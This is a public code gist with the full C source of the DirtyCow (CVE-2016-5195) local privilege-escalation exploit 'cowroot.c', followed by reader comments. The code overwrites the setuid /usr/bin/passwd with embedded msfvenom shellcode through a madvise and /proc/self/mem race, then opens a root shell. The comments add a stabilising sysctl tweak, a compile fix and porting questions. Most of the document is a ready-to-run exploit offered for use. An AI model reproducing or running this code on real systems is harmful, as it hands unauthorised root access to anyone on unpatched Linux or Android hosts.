CVE-2016-5195 (DirtyCow) Local Root PoC

cowroot.c

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

The warnings are normal. This PoC crashes on some systems and on some others it's stable. I can't fix this for now.

Maybe you can find a different PoC from here, which makes use of another technique and does not crash.

I was able to stabilize this exploit by turning off periodic write-back after the shell pops. As found in the following issue.

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

The lazy(easy) approach to disabling writebacks: https://gist.github.com/joshuaskorich/86c90e12436c873e4a06bd64b461cc43

gcc cowroot.c -o cowroot -pthread
cowroot.c: In function ‘procselfmemThread’:
cowroot.c:98:17: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [-Wint-conversion]
lseek(f,map,SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:337:16: note: expected ‘__off_t {aka long int}’ but argument is of type ‘void *’
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
cowroot.c: In function ‘main’:
cowroot.c:135:5: warning: implicit declaration of function ‘asprintf’ [-Wimplicit-function-declaration]
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
^
cowroot.c:139:5: warning: implicit declaration of function ‘fstat’ [-Wimplicit-function-declaration]
fstat(f,&st);
^
cowroot.c:141:12: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘__off_t {aka long int}’ [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^

When copying sc into payload, why use memcpy(payload, sc, sc_len+1); instead of memcpy(payload, sc, sc_len); ?
sc_len+1 seems meaningless and copys out of sc array.

goddammit I used this exploit because i forgot my new root password and I didn't realize it alters passwd binary so then I couldn't reset my password to proper one! :<

luckily it doesn't affect snapshots so at least I could revert /etc/shadow and /bin/passwd from old snapshot >.>

how can i compile it in order to run it on android device?

how you generate the payload of the metasploit in hexcode(shell code)?

Is this supposed to happen?

Any reason why we use 100 as size with madvise

Awesome, saved my old dev computer after I forgot my root creds.

TheBunnyCoder no, it isn´t happen. It means it doesn´t work in your machine

It works but freeze the machine. I think there isn´t other way like cowroot

version `GLIBC_2.34' not found

./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.33' not found (required by ./cowroot) ./cowroot: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./cowroot)

LSEEK( ) Error on Compiling

If you are facing an lseek() error. Go to line 97 and find the following piece of code:

for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET); # Change Me
        c+=write(f, str, sc_len);
    }

Delete the line that says "Change Me" and replace it with - lseek(f, (off_t)map, SEEK_SET);. Now it should compile without errors.

The edited gist that works, can be found here -
https://gist.github.com/hutgrabber/0f9e8584f6e754cb9dba6f909467afaf